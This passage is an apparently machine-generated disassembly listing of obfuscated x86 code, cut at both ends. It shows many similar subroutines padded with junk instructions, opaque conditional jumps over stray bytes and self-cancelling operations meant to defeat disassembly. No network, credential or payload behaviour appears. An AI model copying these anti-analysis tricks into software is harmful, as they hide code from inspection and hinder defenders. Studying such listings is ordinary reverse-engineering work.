ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx dec ecx inc ecx inc cl inc cl inc cl add ecx, 3 inc cl inc cl inc cl add ecx, 0Ah inc cl inc cl add ecx, 0Ah dec ecx push edx mov edx, 4 add ecx, edx inc ecx pop edx bswap eax and eax, ecx pop ecx neg eax sbb eax, eax inc eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED41C xor ecx, dword_4ED420 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4951C6 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4951C6: ; CODE XREF: sub_49512C+8Fj mov eax, [ebp+var_8] push eax call off_4F1D74 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49512C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4951DA proc near ; DATA XREF: sub_4965D8+1174o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DC0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov dh, 2 dec dh dec dh and ah, dh mov dl, 0Eh sub dl, 0FFh jo short loc_49520D jl short loc_49520B loc_495208: ; CODE XREF: sub_4951DA:loc_49520Bj ; sub_4951DA:loc_49520Dj jmp short loc_49520F ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_49520B: ; CODE XREF: sub_4951DA+2Cj jz short loc_495208 loc_49520D: ; CODE XREF: sub_4951DA+2Aj jmp short loc_495208 ; --------------------------------------------------------------------------- loc_49520F: ; CODE XREF: sub_4951DA:loc_495208j sub dl, 0FFh sub dl, 0FFh sub dl, 0Ah sub dl, 0FFh sub dl, 0FFh sub dl, 5 dec dl dec dl dec dl sub dl, 3 sub dl, 0FFh dec dl inc dl inc dl inc dl and al, dl pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3F0 xor ecx, dword_4ED3F4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49525B mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49525B: ; CODE XREF: sub_4951DA+76j mov eax, [ebp+var_8] push eax call off_4F1D48 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4951DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49526F proc near ; DATA XREF: sub_4965D8+FCo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DD0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 0C00h pop ebx jo short loc_4952A5 jl short loc_4952A3 loc_49529E: ; CODE XREF: sub_49526F:loc_4952A3j ; sub_49526F:loc_4952A5j jmp short loc_4952A7 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4952A3: ; CODE XREF: sub_49526F+2Dj jz short loc_49529E loc_4952A5: ; CODE XREF: sub_49526F+2Bj jmp short loc_49529E ; --------------------------------------------------------------------------- loc_4952A7: ; CODE XREF: sub_49526F:loc_49529Ej dec bh dec bh dec bh dec bh dec bh push eax dec bh dec bh and eax, 41h dec bh sub bh, 3 pop eax dec bh and ah, bh mov edx, 25h dec dl sub dl, 3 dec dl sub dl, 17h dec dl dec dl dec dl dec dl dec dl jo short loc_4952E7 jl short loc_4952E5 loc_4952E0: ; CODE XREF: sub_49526F:loc_4952E5j ; sub_49526F:loc_4952E7j jmp short loc_4952E9 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4952E5: ; CODE XREF: sub_49526F+6Fj jz short loc_4952E0 loc_4952E7: ; CODE XREF: sub_49526F+6Dj jmp short loc_4952E0 ; --------------------------------------------------------------------------- loc_4952E9: ; CODE XREF: sub_49526F:loc_4952E0j and al, dl pop ebx pop edx neg eax sbb eax, eax inc eax mov [ebp+var_C], eax mov ecx, dword_4ED400 xor ecx, dword_4ED404 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_495315 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_495315: ; CODE XREF: sub_49526F+9Bj mov eax, [ebp+var_8] push eax call off_4F1D58 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49526F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_495329 proc near ; DATA XREF: sub_4965D8+13D8o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D80 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1F00h pop ebx jo short loc_49535F jl short loc_49535D loc_495358: ; CODE XREF: sub_495329:loc_49535Dj ; sub_495329:loc_49535Fj jmp short loc_495361 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49535D: ; CODE XREF: sub_495329+2Dj jz short loc_495358 loc_49535F: ; CODE XREF: sub_495329+2Bj jmp short loc_495358 ; --------------------------------------------------------------------------- loc_495361: ; CODE XREF: sub_495329:loc_495358j sub bh, 3 sub bh, 3 push eax dec bh dec bh and eax, 80h dec bh sub bh, 10h sub bh, 5 pop eax dec bh jo short loc_495387 jl short loc_495385 loc_495380: ; CODE XREF: sub_495329:loc_495385j ; sub_495329:loc_495387j jmp short loc_495389 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_495385: ; CODE XREF: sub_495329+55j jz short loc_495380 loc_495387: ; CODE XREF: sub_495329+53j jmp short loc_495380 ; --------------------------------------------------------------------------- loc_495389: ; CODE XREF: sub_495329:loc_495380j and ah, bh mov edx, 16h dec dl sub dl, 3 dec dl sub dl, 8 dec dl dec dl dec dl dec dl dec dl jo short loc_4953AF jl short loc_4953AD loc_4953A8: ; CODE XREF: sub_495329:loc_4953ADj ; sub_495329:loc_4953AFj jmp short loc_4953B1 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4953AD: ; CODE XREF: sub_495329+7Dj jz short loc_4953A8 loc_4953AF: ; CODE XREF: sub_495329+7Bj jmp short loc_4953A8 ; --------------------------------------------------------------------------- loc_4953B1: ; CODE XREF: sub_495329:loc_4953A8j and al, dl pop ebx pop edx neg eax sbb eax, eax neg eax mov [ebp+var_C], eax mov ecx, dword_4ED3B0 xor ecx, dword_4ED3B4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4953DE mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4953DE: ; CODE XREF: sub_495329+AAj mov eax, [ebp+var_8] push eax call off_4F1D08 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_495329 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4953F2 proc near ; DATA XREF: sub_4965D8+E9Fo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D94 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Dh dec ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 7 dec ch dec ch and ah, ch mov cl, 77h sub cl, 2 dec cl dec cl dec cl not cl bswap edx not cl bswap edx dec cl dec cl push eax dec cl dec cl sub cl, 12h dec cl dec cl jo short loc_49545A jl short loc_495458 loc_495455: ; CODE XREF: sub_4953F2:loc_495458j ; sub_4953F2:loc_49545Aj jmp short loc_49545C ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_495458: ; CODE XREF: sub_4953F2+61j jz short loc_495455 loc_49545A: ; CODE XREF: sub_4953F2+5Fj jmp short loc_495455 ; --------------------------------------------------------------------------- loc_49545C: ; CODE XREF: sub_4953F2:loc_495455j and eax, 40h dec cl dec cl dec cl add cl, 0Eh dec cl dec cl and eax, 41h sub cl, 22h not ecx bswap eax not ecx bswap eax pop eax and al, cl mov eax, eax pop ecx neg eax sbb eax, eax inc eax pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED3C4 xor ecx, dword_4ED3C8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4954A9 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4954A9: ; CODE XREF: sub_4953F2+ACj mov eax, [ebp+var_8] push eax call off_4F1D1C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4953F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4954BD proc near ; DATA XREF: sub_4965D8+921o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DD0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 80h jmp short loc_4954E6 ; --------------------------------------------------------------------------- mov ebx, 4 loc_4954E6: ; CODE XREF: sub_4954BD+22j mov ebx, 28h not ebx bswap eax not ebx inc ebx inc ebx add ebx, 0Ah inc ebx add ebx, 7 push ecx mov ecx, 4 add ebx, ecx inc ebx pop ecx bswap eax and eax, ebx pop ebx neg eax sbb eax, eax neg eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED400 xor ecx, dword_4ED404 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_495533 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_495533: ; CODE XREF: sub_4954BD+6Bj mov eax, [ebp+var_8] push eax call off_4F1D58 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4954BD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_495547 proc near ; DATA XREF: sub_4965D8+8DDo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DB0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 800h jmp short loc_495570 ; --------------------------------------------------------------------------- mov ebx, 80h loc_495570: ; CODE XREF: sub_495547+22j mov ebx, 72h not ebx bswap eax not ebx inc ebx inc ebx add ebx, 8 dec ebx push ecx mov ecx, 4 add ebx, ecx inc ebx pop ecx bswap eax and eax, ebx pop ebx neg eax sbb eax, eax inc eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3E0 xor ecx, dword_4ED3E4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4955B9 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4955B9: ; CODE XREF: sub_495547+67j mov eax, [ebp+var_8] push eax call off_4F1D38 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_495547 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4955CD proc near ; DATA XREF: sub_4965D8+CC3o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D88 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 80h jmp short loc_4955F6 ; --------------------------------------------------------------------------- mov ebx, 4 loc_4955F6: ; CODE XREF: sub_4955CD+22j mov ebx, 30h dec esi xor ebx, 41h dec edi add esi, 23h add ebx, 2 not ebx bswap eax not ebx add esi, 2 dec esi dec esi inc ebx dec esi inc ebx dec esi inc ebx inc ebx dec esi inc ebx dec esi inc ebx dec esi inc ebx inc ebx dec esi inc ebx inc ebx dec esi dec ebx dec esi dec ebx push ecx dec esi mov ecx, 4 add ebx, ecx inc ebx dec esi pop ecx dec esi bswap eax sub ebx, 10h dec ebx dec ebx dec ebx dec ebx dec ebx dec ebx dec ebx dec ebx dec ebx dec ebx dec ebx dec ebx dec ebx dec ebx sub ebx, 1Ch dec ebx dec ebx dec ebx dec ebx dec ebx dec ebx and eax, ebx pop ebx dec esi neg eax sbb eax, eax inc eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3B8 xor ecx, dword_4ED3BC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49567B mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49567B: ; CODE XREF: sub_4955CD+A3j mov eax, [ebp+var_8] push eax call off_4F1D10 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4955CD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49568F proc near ; DATA XREF: sub_4965D8+A31o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DD8 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 2 dec bh dec bh mov edi, 80h and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 83h dec edi sub bl, 8 dec bl dec edi dec bl dec edi dec bl dec bl dec edi dec bl dec bl dec edi and edi, ebx dec bl sub bl, 7 dec edi sub bl, 10h dec edi dec bl dec edi sub bl, 1Ch not bx bswap eax dec edi not bx bswap eax dec edi and al, bl mov eax, eax pop ebx neg eax sbb eax, eax neg eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED408 xor ecx, dword_4ED40C shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49572F mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49572F: ; CODE XREF: sub_49568F+95j mov eax, [ebp+var_8] push eax call off_4F1D60 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49568F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_495743 proc near ; DATA XREF: sub_4965D8+1284o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D94 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 0Ah pop ebx dec bl dec bl dec bl add bl, 0FFh add bl, 0FFh dec bl jo short loc_495784 jl short loc_495782 loc_49577D: ; CODE XREF: sub_495743:loc_495782j ; sub_495743:loc_495784j jmp short loc_495786 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_495782: ; CODE XREF: sub_495743+38j jz short loc_49577D loc_495784: ; CODE XREF: sub_495743+36j jmp short loc_49577D ; --------------------------------------------------------------------------- loc_495786: ; CODE XREF: sub_495743:loc_49577Dj add bl, 0FFh add bl, 0FFh add bl, 0FFh add bl, 0FFh and al, bl jo short loc_49579D jl short loc_49579B loc_495798: ; CODE XREF: sub_495743:loc_49579Bj ; sub_495743:loc_49579Dj jmp short loc_49579F ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_49579B: ; CODE XREF: sub_495743+53j jz short loc_495798 loc_49579D: ; CODE XREF: sub_495743+51j jmp short loc_495798 ; --------------------------------------------------------------------------- loc_49579F: ; CODE XREF: sub_495743:loc_495798j mov dh, 15h and dl, 0 dec dh sub dh, 6 dec dh dec dh dec dh sub dh, 1 dec dh dec dh and ah, dh pop ebx pop edx test eax, eax jz short loc_4957C6 not eax add eax, 1 stc jmp short loc_4957CC ; --------------------------------------------------------------------------- loc_4957C6: ; CODE XREF: sub_495743+79j not eax add eax, 1 clc loc_4957CC: ; CODE XREF: sub_495743+81j sbb eax, eax inc eax dec eax jo short loc_4957DB jl short loc_4957D9 loc_4957D4: ; CODE XREF: sub_495743:loc_4957D9j ; sub_495743:loc_4957DBj jmp short loc_4957DD ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4957D9: ; CODE XREF: sub_495743+8Fj jz short loc_4957D4 loc_4957DB: ; CODE XREF: sub_495743+8Dj jmp short loc_4957D4 ; --------------------------------------------------------------------------- loc_4957DD: ; CODE XREF: sub_495743:loc_4957D4j inc eax dec eax jo short loc_4957EA jl short loc_4957E8 loc_4957E3: ; CODE XREF: sub_495743:loc_4957E8j ; sub_495743:loc_4957EAj jmp short loc_4957EC ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4957E8: ; CODE XREF: sub_495743+9Ej jz short loc_4957E3 loc_4957EA: ; CODE XREF: sub_495743+9Cj jmp short loc_4957E3 ; --------------------------------------------------------------------------- loc_4957EC: ; CODE XREF: sub_495743:loc_4957E3j inc eax dec eax inc eax dec eax jo short loc_4957FB jl short loc_4957F9 loc_4957F4: ; CODE XREF: sub_495743:loc_4957F9j ; sub_495743:loc_4957FBj jmp short loc_4957FD ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4957F9: ; CODE XREF: sub_495743+AFj jz short loc_4957F4 loc_4957FB: ; CODE XREF: sub_495743+ADj jmp short loc_4957F4 ; --------------------------------------------------------------------------- loc_4957FD: ; CODE XREF: sub_495743:loc_4957F4j inc eax mov [ebp+var_C], eax mov ecx, dword_4ED3C4 xor ecx, dword_4ED3C8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_495821 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_495821: ; CODE XREF: sub_495743+D3j mov eax, [ebp+var_8] push eax call off_4F1D1C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_495743 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_495835 proc near ; DATA XREF: sub_4965D8+377o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D88 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] jo short loc_49585A jl short loc_495858 loc_495855: ; CODE XREF: sub_495835:loc_495858j ; sub_495835:loc_49585Aj jmp short loc_49585C ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_495858: ; CODE XREF: sub_495835+1Ej jz short loc_495855 loc_49585A: ; CODE XREF: sub_495835+1Cj jmp short loc_495855 ; --------------------------------------------------------------------------- loc_49585C: ; CODE XREF: sub_495835:loc_495855j push ebx mov ebx, [ebp+arg_4] mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 10h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 70h sub cl, 5 sub cl, 6 not al bswap ecx not al bswap ecx dec cl dec cl sub cl, 10h dec cl dec cl add cl, 0Ch dec cl dec cl dec cl jo short loc_4958AD jl short loc_4958AB loc_4958A8: ; CODE XREF: sub_495835:loc_4958ABj ; sub_495835:loc_4958ADj jmp short loc_4958AF ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_4958AB: ; CODE XREF: sub_495835+71j jz short loc_4958A8 loc_4958AD: ; CODE XREF: sub_495835+6Fj jmp short loc_4958A8 ; --------------------------------------------------------------------------- loc_4958AF: ; CODE XREF: sub_495835:loc_4958A8j dec cl dec cl dec cl dec cl sub cl, 10h sub cl, 1 dec cl dec cl dec cl dec cl dec cl dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax inc cl add cl, 2 and al, cl mov eax, eax pop ecx neg eax sbb eax, eax inc eax pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED3B8 xor ecx, dword_4ED3BC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_495908 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_495908: ; CODE XREF: sub_495835+C8j mov eax, [ebp+var_8] push eax call off_4F1D10 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_495835 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49591C proc near ; DATA XREF: sub_4965D8+7E4o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DA4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1F00h pop ebx jo short loc_495952 jl short loc_495950 loc_49594B: ; CODE XREF: sub_49591C:loc_495950j ; sub_49591C:loc_495952j jmp short loc_495954 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_495950: ; CODE XREF: sub_49591C+2Dj jz short loc_49594B loc_495952: ; CODE XREF: sub_49591C+2Bj jmp short loc_49594B ; --------------------------------------------------------------------------- loc_495954: ; CODE XREF: sub_49591C:loc_49594Bj sub bh, 5 dec bh push eax dec bh dec bh and eax, 41h dec bh sub bh, 12h sub bh, 3 pop eax dec bh and ah, bh mov edx, 15h dec dl sub dl, 3 dec dl sub dl, 7 dec dl dec dl dec dl dec dl dec dl and al, dl pop ebx pop edx neg eax sbb eax, eax neg eax mov [ebp+var_C], eax mov ecx, dword_4ED3D4 xor ecx, dword_4ED3D8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4959B4 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4959B4: ; CODE XREF: sub_49591C+8Dj mov eax, [ebp+var_8] push eax call off_4F1D2C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49591C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4959C8 proc near ; DATA XREF: sub_4965D8+9D7o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DAC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 87h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 1Ah dec bl dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3DC xor ecx, dword_4ED3E0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_495A5F mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_495A5F: ; CODE XREF: sub_4959C8+8Cj mov eax, [ebp+var_8] push eax call off_4F1D34 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4959C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_495A73 proc near ; DATA XREF: sub_4965D8+608o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DBC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, [ebp+arg_4] mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 70h sub cl, 2 dec cl dec cl dec cl sub cl, 6 not al bswap ecx not al bswap ecx dec cl dec cl jmp short loc_495AD2 ; --------------------------------------------------------------------------- and eax, 1 loc_495AD2: ; CODE XREF: sub_495A73+5Aj sub cl, 10h dec cl dec cl add cl, 0Ch dec cl dec cl dec cl dec cl dec cl dec cl sub cl, 10h sub cl, 3 dec cl dec cl dec cl dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax inc cl add cl, 2 and al, cl mov eax, eax pop ecx neg eax sbb eax, eax inc eax pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED3EC xor ecx, dword_4ED3F0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_495B35 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_495B35: ; CODE XREF: sub_495A73+B7j mov eax, [ebp+var_8] push eax call off_4F1D44 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_495A73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_495B49 proc near ; DATA XREF: sub_4965D8+15E1o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DD4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 80h jmp short loc_495B72 ; --------------------------------------------------------------------------- mov ebx, 4 loc_495B72: ; CODE XREF: sub_495B49+22j mov ebx, 32h not ebx bswap eax not ebx inc ebx inc ebx and eax, 0 add ebx, 8 dec ebx push ecx mov ecx, 4 add ebx, ecx inc ebx pop ecx bswap eax inc eax pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED404 xor ecx, dword_4ED408 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_495BB7 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_495BB7: ; CODE XREF: sub_495B49+63j mov eax, [ebp+var_8] push eax call off_4F1D5C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_495B49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_495BCB proc near ; DATA XREF: sub_4965D8+3E8o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DC4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Dh dec ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 7 dec ch dec ch and ah, ch mov cl, 77h sub cl, 2 dec cl dec cl dec cl dec cl not cl bswap edx not cl bswap edx dec cl dec cl push eax dec cl dec cl sub cl, 12h dec cl jo short loc_495C33 jl short loc_495C31 loc_495C2E: ; CODE XREF: sub_495BCB:loc_495C31j ; sub_495BCB:loc_495C33j jmp short loc_495C35 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_495C31: ; CODE XREF: sub_495BCB+61j jz short loc_495C2E loc_495C33: ; CODE XREF: sub_495BCB+5Fj jmp short loc_495C2E ; --------------------------------------------------------------------------- loc_495C35: ; CODE XREF: sub_495BCB:loc_495C2Ej dec cl and eax, 40h dec cl dec cl dec cl add cl, 0Eh dec cl dec cl and eax, 800h sub cl, 1Fh dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax pop eax and al, cl mov eax, eax pop ecx pop ebx test eax, eax jnz loc_495D13 mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 98h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 0Ch not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov ecx, eax push ecx mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx push 4 pop ecx dec cl dec cl dec cl dec cl and al, cl mov bh, 0Fh and bl, 0 dec bh sub bh, 3 dec bh sub bh, 1 dec bh and ah, bh pop ecx pop ebx test eax, eax jz short loc_495CFD not eax add eax, 1 stc jmp short loc_495D03 ; --------------------------------------------------------------------------- loc_495CFD: ; CODE XREF: sub_495BCB+128j not eax add eax, 1 clc loc_495D03: ; CODE XREF: sub_495BCB+130j sbb eax, eax add eax, 1 pop ecx cmp ecx, eax jnz short loc_495D13 and eax, 0 inc eax jmp short loc_495D16 ; --------------------------------------------------------------------------- loc_495D13: ; CODE XREF: sub_495BCB+9Bj ; sub_495BCB+140j and eax, 0 loc_495D16: ; CODE XREF: sub_495BCB+146j mov [ebp+var_C], eax mov ecx, dword_4ED3F4 xor ecx, dword_4ED3F8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_495D39 mov edx, [ebp+var_8] or edx, 1 mov 